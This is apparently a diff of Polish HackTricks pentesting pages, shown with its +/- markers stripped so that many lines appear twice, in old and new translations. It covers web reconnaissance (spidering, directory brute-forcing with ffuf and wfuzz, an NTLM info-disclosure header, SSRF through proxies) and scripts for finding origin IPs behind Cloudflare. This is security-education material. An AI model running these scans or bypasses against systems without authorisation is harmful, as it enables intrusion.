Uruchom jakiś rodzaj **pająka** w sieci. Celem pająka jest **znalezienie jak największej liczby ścieżek** w testowanej aplikacji. Dlatego należy użyć przeglądania stron internetowych i zewnętrznych źródeł, aby znaleźć jak najwięcej prawidłowych ścieżek.
* [**gospider**](https://github.com/jaeles-project/gospider) (go): Pająk HTML, LinkFinder w plikach JS i zewnętrzne źródła (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Pająk HML, z LinkFider dla plików JS i Archive.org jako zewnętrzne źródło.
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): Pająk HTML, wskazuje również "soczyste pliki".
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktywny pająk HTML w wierszu poleceń. Szuka również w Archive.org.
* [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest pająkiem, ale może być przydatne. Wystarczy wskazać plik z hostami i plik z ścieżkami, a meg pobierze każdą ścieżkę na każdym hoście i zapisze odpowiedź.
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktywny pająk HTML w wierszu poleceń. Szuka także w Archive.org.
* [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest pająkiem, ale może być przydatne. Możesz po prostu wskazać plik z hostami i plik z ścieżkami, a meg pobierze każdą ścieżkę na każdym hoście i zapisze odpowiedź.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Pająk HTML z możliwościami renderowania JS. Jednak wygląda na to, że nie jest rozwijany, skompilowana wersja jest stara, a obecny kod nie kompiluje się.
* [**gau**](https://github.com/lc/gau) (go): Pająk HTML korzystający z zewnętrznych dostawców (wayback, otx, commoncrawl).
* [**gau**](https://github.com/lc/gau) (go): Pająk HTML korzystający z zewnętrznych dostawców (wayback, otx, commoncrawl)
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ten skrypt znajdzie adresy URL z parametrami i je wymieni.
* [**galer**](https://github.com/dwisiswant0/galer) (go): Pająk HTML z możliwościami renderowania JS.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Pająk HTML, z możliwościami upiększania JS zdolny do wyszukiwania nowych ścieżek w plikach JS. Warto również spojrzeć na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest nakładką na LinkFinder.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do wyodrębniania punktów końcowych zarówno w źródle HTML, jak i osadzonych plikach javascript. Przydatne dla łowców błędów, drużyn czerwonych i ninja bezpieczeństwa informacji.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do wyodrębniania punktów końcowych zarówno w źródle HTML, jak i osadzonych plikach javascript. Przydatne dla łowców błędów, drużyn czerwonych, ninja bezpieczeństwa informacji.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt python 2.7 używający Tornado i JSBeautifier do analizowania względnych adresów URL z plików JavaScript. Przydatne do łatwego odkrywania żądań AJAX. Wygląda na to, że nie jest rozwijany.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dla danego pliku (HTML) wyodrębni adresy URL z niego, używając sprytnego wyrażenia regularnego do znalezienia i wyodrębnienia względnych adresów URL z brzydkich (zmniejszonych) plików.
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbiera interesujące informacje z plików JS, korzystając z kilku narzędzi.
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbiera interesujące informacje z plików JS za pomocą kilku narzędzi.
* [**subjs**](https://github.com/lc/subjs) (go): Znajdź pliki JS.
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Ładuje stronę w przeglądarce bez wyświetlania i drukuje wszystkie załadowane adresy URL do załadowania strony.
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Ładuje stronę w przeglądarce bez interfejsu i drukuje wszystkie załadowane adresy URL, aby załadować stronę.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do odkrywania treści łączące kilka opcji poprzednich narzędzi
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Rozszerzenie Burp do znajdowania ścieżek i parametrów w plikach JS.
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które po podaniu adresu .js.map URL uzyska uporządkowany kod JS
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które podając adres URL .js.map, uzyska uporządkowany kod JS
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Jest to narzędzie używane do odkrywania punktów końcowych dla określonego celu.
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkryj linki z maszyny wayback (pobierając również odpowiedzi w wayback i szukając więcej linków
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeszukuje (nawet poprzez wypełnianie formularzy) i znajduje również wrażliwe informacje, korzystając z określonych wyrażeń regularnych.
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeglądaj (nawet poprzez wypełnianie formularzy) i znajduj również informacje poufne, korzystając z określonych wyrażeń regularnych.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite to zaawansowany wielofunkcyjny pająk GUI do bezpieczeństwa sieciowego zaprojektowany dla profesjonalistów cyberbezpieczeństwa.
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Jest to pakiet Go i [narzędzie wiersza poleceń](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do wyodrębniania adresów URL, ścieżek, sekretów i innych interesujących danych z kodu źródłowego JavaScript.
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Jest to pakiet Go i [narzędzie wiersza poleceń](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do wyodrębniania adresów URL, ścieżek, sekretów i innych ciekawych danych z kodu źródłowego JavaScript.
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste rozszerzenie **Burp Suite** do **wyodrębniania parametrów i punktów końcowych** z żądania w celu utworzenia niestandardowej listy słów do fuzzowania i wyliczania.
### Brute Force katalogów i plików
### Przemierzanie katalogów i plików metodą brutalnej siły
Rozpocznij **brute force** od katalogu głównego i upewnij się, że **brute force** jest wykonywany na **wszystkich** znalezionych **katalogach** za pomocą **tej metody** oraz wszystkich katalogów **odkrytych** przez **Spidering** (możesz wykonać to **rekurencyjnie** i dołączyć na początku używanej listy słów nazwy znalezionych katalogów).\
Zacznij **przemierzać** od katalogu głównego i upewnij się, że **przemierzasz wszystkie znalezione katalogi** za pomocą **tej metody** oraz wszystkie katalogi **odkryte** podczas **przeglądania stron** (możesz to zrobić **rekurencyjnie** i dodając na początku używanej listy słów nazwy znalezionych katalogów).\
Narzędzia:
* **Dirb** / **Dirbuster** - Zawarte w Kali, **stare** (i **wolne**), ale funkcjonalne. Pozwalają na automatyczne podpisywanie certyfikatów i rekurencyjne wyszukiwanie. Zbyt wolne w porównaniu z innymi opcjami.
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na automatyczne podpisywanie certyfikatów, ale** umożliwia rekurencyjne wyszukiwanie.
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na automatyczne podpisywanie certyfikatów, nie ma funkcji rekurencyjnego wyszukiwania.
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na automatyczne podpisywanie certyfikatów, nie ma rekurencyjnego wyszukiwania.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Szybki, obsługuje rekurencyjne wyszukiwanie.**
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- Szybki: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
@ -264,9 +264,9 @@ Narzędzia:
**Polecane słowniki:**
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
* Słownik dołączony do [**Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
* [**Dirsearch** dołączony słownik](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
* [Słowniki Assetnote](https://wordlists.assetnote.io)
* [Assetnote wordlists](https://wordlists.assetnote.io)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
* raft-large-directories-lowercase.txt
* directory-list-2.3-medium.txt
@ -275,30 +275,31 @@ Narzędzia:
* [https://github.com/google/fuzzing/tree/master/dictionaries](https://github.com/google/fuzzing/tree/master/dictionaries)
* [https://github.com/six2dez/OneListForAll](https://github.com/six2dez/OneListForAll)
* [https://github.com/random-robbie/bruteforce-lists](https://github.com/random-robbie/bruteforce-lists)
* [https://github.com/ayoubfathi/leaky-paths](https://github.com/ayoubfathi/leaky-paths)
* _/usr/share/wordlists/dirb/common.txt_
* _/usr/share/wordlists/dirb/big.txt_
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas ataku brutalnej siły lub przeszukiwania, należy go poddać atakowi brutalnej siły._
_Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas ataku brutalnego lub przeszukiwania, należy go poddać atakowi brutalnemu._
### Co sprawdzić w każdym znalezionym pliku
* [**Sprawdzacz uszkodzonych linków**](https://github.com/stevenvachon/broken-link-checker): Znajdź uszkodzone linki wewnątrz plików HTML, które mogą być podatne na przejęcia.
* **Kopie zapasowe plików**: Gdy znajdziesz wszystkie pliki, poszukaj kopii zapasowych wszystkich plików wykonywalnych ("_.php_", "_.aspx_"...). Powszechne warianty nazw kopii zapasowych to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Możesz również skorzystać z narzędzi [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
* [**Sprawdzacz uszkodzonych linków**](https://github.com/stevenvachon/broken-link-checker): Znajdź uszkodzone linki wewnątrz plików HTML, które mogą być podatne na przejęcie
* **Kopie zapasowe plików**: Gdy znajdziesz wszystkie pliki, poszukaj kopii zapasowych wszystkich plików wykonywalnych ("_.php_", "_.aspx_"...). Powszechne warianty nazewnictwa kopii zapasowych to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Możesz również skorzystać z narzędzi [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
* **Odkryj nowe parametry**: Możesz użyć narzędzi takich jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **do odkrywania ukrytych parametrów. Jeśli możesz, spróbuj wyszukać** ukryte parametry w każdym pliku wykonywalnym na stronie internetowej.
* _Wszystkie domyślne listy słów Arjuna:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-miner „params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote „parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de „params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
* **Komentarze:** Sprawdź komentarze we wszystkich plikach, możesz znaleźć **dane uwierzytelniające** lub **ukrytą funkcjonalność**.
* Jeśli bawisz się w **CTF**, „powszechnym” trikiem jest **ukrycie informacji** wewnątrz komentarzy na **prawej** **stronie** **strony** (używając **setek** **spacji**, aby nie widzieć danych podczas otwierania kodu źródłowego w przeglądarce). Inna możliwość to użycie **kilku nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony internetowej.
* Jeśli grasz w **CTF**, „powszechnym” trikiem jest **ukrycie** **informacji** w komentarzach na **prawej** **stronie** **strony** (używając **setek** **spacji**, aby nie widzieć danych podczas otwierania kodu źródłowego w przeglądarce). Inna możliwość to użycie **kilku nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony internetowej.
* **Klucze API**: Jeśli **znajdziesz jakikolwiek klucz API**, istnieje przewodnik, który wskazuje, jak korzystać z kluczy API różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Klucze API Google: Jeśli znajdziesz jakiś klucz API wyglądający jak **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, możesz użyć projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) do sprawdzenia, do których interfejsów API ma dostęp klucz.
* **S3 Buckets**: Podczas przeszukiwania zobacz, czy jakikolwiek **poddomena** lub **link** jest powiązany z jakimś **kubłem S3**. W takim przypadku [**sprawdź** **uprawnienia** kubła](buckets/).
* Klucze Google API: Jeśli znajdziesz jakiś klucz API wyglądający jak **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, możesz skorzystać z projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner), aby sprawdzić, do których interfejsów API ma dostęp klucz.
* **S3 Buckets**: Podczas przeszukiwania zwróć uwagę, czy jakikolwiek **poddomena** lub **link** jest powiązany z jakimś **kubłem S3**. W takim przypadku [**sprawdź** **uprawnienia** kubła](buckets/).
### Specjalne znaleziska
**Podczas** przeprowadzania **przeszukiwania** i **ataków brutalnej siły** możesz natrafić na **interesujące** **rzeczy**, na które musisz **zwrócić uwagę**.
**Podczas** przeszukiwania i **atakowania brutalnego** możesz natrafić na **interesujące** **rzeczy**, na które musisz **zwrócić uwagę**.
**Interesujące pliki**
@ -306,14 +307,14 @@ _Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas ataku brutaln
* [Jeśli znajdziesz plik _**.git**_, można z niego wyciągnąć pewne informacje](git.md)
* Jeśli znajdziesz plik _**.env**_, można w nim znaleźć informacje takie jak klucze API, hasła do baz danych i inne informacje.
* Jeśli znajdziesz **punkty końcowe API**, [również powinieneś je przetestować](web-api-pentesting.md). Nie są to pliki, ale prawdopodobnie będą na nie podobne.
* **Pliki JS**: W sekcji przeszukiwania wspomniano o kilku narzędziach, które mogą wydobywać ścieżki z plików JS. Również interesujące byłoby **monitorowanie każdego znalezionego pliku JS**, ponieważ w niektórych przypadkach zmiana może wskazywać na potencjalną podatność wprowadzoną w kodzie. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.**
* **Pliki JS**: W sekcji przeszukiwania wspomniano o kilku narzędziach, które mogą wydobywać ścieżki z plików JS. Ponadto, byłoby interesujące **monitorować każdy znaleziony plik JS**, ponieważ w niektórych przypadkach zmiana może wskazywać na potencjalną podatność wprowadzoną w kodzie. Możesz na przykład użyć [**JSMon**](https://github.com/robre/jsmon)**.**
* Sprawdź znalezione pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole), aby sprawdzić, czy są podatne.
* **Deobfuskator i dekoder JavaScript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Upiększacz JavaScript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
* **Uporządkowujący JavaScript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
* **Deobfuskacja JsFuck** (javascript z znakami:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
* W kilku przypadkach będziesz musiał **zrozumieć wyrażenia regularne** używane, co będzie przydatne: [https://regex101.com/](https://regex101.com)
* Możesz również **monitorować pliki, w których wykryto formularze**, ponieważ zmiana w parametrze lub pojawienie się nowego formularza może wskazywać na potencjalną nową podatną funkcjonalność.
* W kilku sytuacjach będziesz musiał **zrozumieć wyrażenia regularne** używane, co może być przydatne: [https://regex101.com/](https://regex101.com)
* Możesz również **monitorować pliki, w których wykryto formularze**, ponieważ zmiana w parametrze lub pojawienie się nowego formularza może wskazywać na potencjalnie nową podatną funkcjonalność.
**403 Forbidden/Basic Authentication/401 Unauthorized (omijanie)**
@ -323,26 +324,26 @@ _Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas ataku brutaln
**502 Proxy Error**
Jeśli jakakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany serwer proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem hosta i innymi standardowymi nagłówkami), **proxy** spróbuje **uzyskać dostęp do** _**google.com**_ **i znajdziesz** SSRF.
Jeśli jakakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany serwer proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem hosta i innymi standardowymi nagłówkami), **serwer proxy** spróbuje uzyskać dostęp do _**google.com**_ **i w ten sposób odkryjesz** SSRF.
**Autoryzacja NTLM - Ujawnienie informacji**
Jeśli działający serwer wymaga autoryzacji **Windows** lub znajdziesz logowanie proszące o **dane uwierzytelniające** (i proszące o **nazwę domeny**), możesz spowodować **ujawnienie informacji**.\
**Wyślij** **nagłówek**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i ze względu na to, jak działa autoryzacja **NTLM**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\
Jeśli działający serwer wymaga autoryzacji **Windows** lub znajdziesz logowanie proszące o **dane uwierzytelniające** (i pytające o **nazwę domeny**), możesz spowodować **ujawnienie informacji**.\
**Wyślij** **nagłówek**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i ze względu na sposób działania **autoryzacji NTLM**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\
Możesz to **zautomatyzować** za pomocą **wtyczki nmap** "_http-ntlm-info.nse_".
**Przekierowanie HTTP (CTF)**
Możliwe jest **umieszczenie treści** wewnątrz **przekierowania**. Ta treść **nie będzie pokazywana użytkownikowi** (ponieważ przeglądarka wykonuje przekierowanie), ale coś może być **ukryte** w środku.
### Sprawdzanie podatności sieci webowej
Możliwe jest **umieszczenie treści** wewnątrz **przekierowania**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykonuje przekierowanie), ale coś może być **ukryte** w środku.
### Sprawdzanie podatności sieci Web
Po przeprowadzeniu kompleksowego wyliczenia aplikacji sieci webowej nadszedł czas, aby sprawdzić wiele potencjalnych podatności. Możesz znaleźć listę kontrolną tutaj:
Po wykonaniu kompleksowego wyliczenia aplikacji sieci Web nadszedł czas, aby sprawdzić wiele możliwych podatności. Możesz znaleźć listę kontrolną tutaj:
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
{% endcontent-ref %}
Dowiedz się więcej o podatnościach sieci webowej:
Dowiedz się więcej o podatnościach sieci Web:
* [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
@ -354,7 +355,7 @@ Możesz użyć narzędzi takich jak [https://github.com/dgtlmoon/changedetection
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera hakera** i chcesz hakować nie do złamania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
Jeśli interesuje Cię **kariera hakera** i hakowanie niemożliwych do zhakowania rzeczy - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -2,38 +2,38 @@
<details>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Powszechne Techniki Odkrywania Cloudflare
## Wspólne techniki odkrywania Cloudflare
* Możesz użyć usługi, która udostępnia **historyczne rekordy DNS** domeny. Być może strona internetowa działa na adresie IP używanym wcześniej.
* To samo można osiągnąć, **sprawdzając historyczne certyfikaty SSL**, które mogą wskazywać na adres IP źródłowy.
* Sprawdź również **rekordy DNS innych subdomen wskazujących bezpośrednio na adresy IP**, ponieważ możliwe jest, że inne subdomeny wskazują na ten sam serwer (być może w celu udostępnienia FTP, poczty lub innej usługi).
* Możesz skorzystać z usługi, która udostępnia **historyczne rekordy DNS** domeny. Być może strona internetowa działała wcześniej na adresie IP.
* To samo można osiągnąć, sprawdzając **historyczne certyfikaty SSL**, które mogą wskazywać na adres IP źródłowy.
* Sprawdź również **rekordy DNS innych subdomen wskazujących bezpośrednio na adresy IP**, ponieważ możliwe jest, że inne subdomeny wskazują na ten sam serwer (być może w celu oferowania FTP, poczty lub innej usługi).
* Jeśli znajdziesz **SSRF wewnątrz aplikacji internetowej**, możesz go wykorzystać, aby uzyskać adres IP serwera.
* Wyszukaj unikalny ciąg znaków ze strony internetowej w przeglądarkach, takich jak shodan (a być może google i podobne?). Być może znajdziesz adres IP zawierający ten treść.
* W podobny sposób, zamiast szukać unikalnego ciągu znaków, możesz wyszukać ikonę favicon za pomocą narzędzia: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) lub [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
* To nie będzie działać bardzo często, ponieważ serwer musi wysyłać tę samą odpowiedź, gdy jest odwoływany przez adres IP, ale nigdy nie wiesz.
* Wyszukaj unikalny ciąg znaków strony internetowej w przeglądarkach takich jak shodan (a być może google i podobne?). Być może znajdziesz adres IP z tym treścią.
* W podobny sposób zamiast szukać unikalnego ciągu znaków, możesz wyszukać ikonę favicon za pomocą narzędzia: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) lub [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
* To nie będzie działać zbyt często, ponieważ serwer musi wysłać tę samą odpowiedź, gdy jest odwoływany się przez adres IP, ale nigdy nie wiesz.
## Narzędzia do odkrywania Cloudflare
## Narzędzia do Odkrywania Cloudflare
* Wyszukaj domenę w [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) lub [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Lub użyj narzędzia [CloudPeler](https://github.com/zidansec/CloudPeler) (które korzysta z tej samej API)
* Wyszukaj domenę w [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) lub [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Lub skorzystaj z narzędzia [CloudPeler](https://github.com/zidansec/CloudPeler) (które wykorzystuje to API)
* Wyszukaj domenę w [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/)
* [**CloudFlair**](https://github.com/christophetd/CloudFlair) to narzędzie, które będzie wyszukiwać certyfikaty Censys zawierające nazwę domeny, następnie będzie szukać adresów IPv4 w tych certyfikatach, a na koniec spróbuje uzyskać dostęp do strony internetowej na tych adresach IP.
* [**CloudFlair**](https://github.com/christophetd/CloudFlair) to narzędzie, które będzie wyszukiwać certyfikaty Censys zawierające nazwę domeny, a następnie będzie szukać adresów IPv4 w tych certyfikatach, a ostatecznie spróbuje uzyskać dostęp do strony internetowej pod tymi adresami IP.
* [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r to potężne narzędzie Pythona starannie opracowane, aby odkryć prawdziwy adres IP stron internetowych zabezpieczonych przez Cloudflare i inne alternatywy, powszechnie stosowaną usługę poprawiającą bezpieczeństwo i wydajność sieci. Jego głównym celem jest dokładne rozpoznanie rzeczywistego adresu IP serwerów internetowych ukrytych za osłoną ochronną Cloudflare.
* [Censys](https://search.censys.io/)
* [Shodan](https://shodan.io/)
* [Bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)
* Jeśli masz zestaw potencjalnych adresów IP, na których znajduje się strona internetowa, możesz użyć [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder)
* Jeśli masz zestaw potencjalnych adresów IP, gdzie znajduje się strona internetowa, możesz skorzystać z [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder)
```bash
# You can check if the tool is working with
prips 1.0.0.0/30 | hakoriginfinder -h one.one.one.one
@ -47,7 +47,7 @@ echo "Checking $ir"
prips $ir | hakoriginfinder -h "$DOMAIN"
done
```
## Odkrywanie Cloudflare z maszyn w chmurze
## Odkrywanie Cloudflare z maszyn chmurowych
Należy zauważyć, że nawet jeśli to zostało wykonane dla maszyn AWS, można to zrobić dla dowolnego innego dostawcy chmury.
@ -67,38 +67,38 @@ cat webs.json | jq -r "select((.failed==false) and (.chain_status_codes | length
# Search via Host header
httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.com -threads 250 -random-agent -follow-redirects -o web_checks.json
```
## Omijanie Cloudflare za pomocą Cloudflare
## Ominięcie Cloudflare poprzez Cloudflare
### Uwierzytelnione Origin Pulls
### Uwierzytelnione Pochodzenie Pobiera
Ten mechanizm polega na **użyciu certyfikatów SSL klienta** do uwierzytelniania połączeń między serwerami **odwrotnego proxy Cloudflare** a serwerem **pochodzenia**, co nazywane jest **mTLS**.
Ten mechanizm polega na **certyfikatach SSL klienta** do uwierzytelniania połączeń między serwerami **odwrotnego proxy Cloudflare** a serwerem **pochodzenia**, który jest nazywany **mTLS**.
Zamiast konfigurować własny certyfikat, klienci mogą po prostu użyć certyfikatu Cloudflare, aby umożliwić dowolne połączenie z Cloudflare, **bez względu na najemcę**.
Zamiast konfigurować własny certyfikat, klienci mogą po prostu użyć certyfikatu Cloudflare, aby zezwolić na dowolne połączenie z Cloudflare, **bez względu na najemcę**.
{% hint style="danger" %}
W związku z tym, atakujący może po prostu ustawić **domenę w Cloudflare, używając certyfikatu Cloudflare** i skierować ją na adres IP **ofiary**. W ten sposób, ustawiając swoją domenę całkowicie niechronioną, Cloudflare nie będzie chronić wysyłanych żądań.
Dlatego atakujący mógłby po prostu ustawić **domenę w Cloudflare, używając certyfikatu Cloudflare i skierować** ją na adres IP **ofiary**. W ten sposób, ustawiając swoją domenę całkowicie niechronioną, Cloudflare nie będzie chronić wysyłanych żądań.
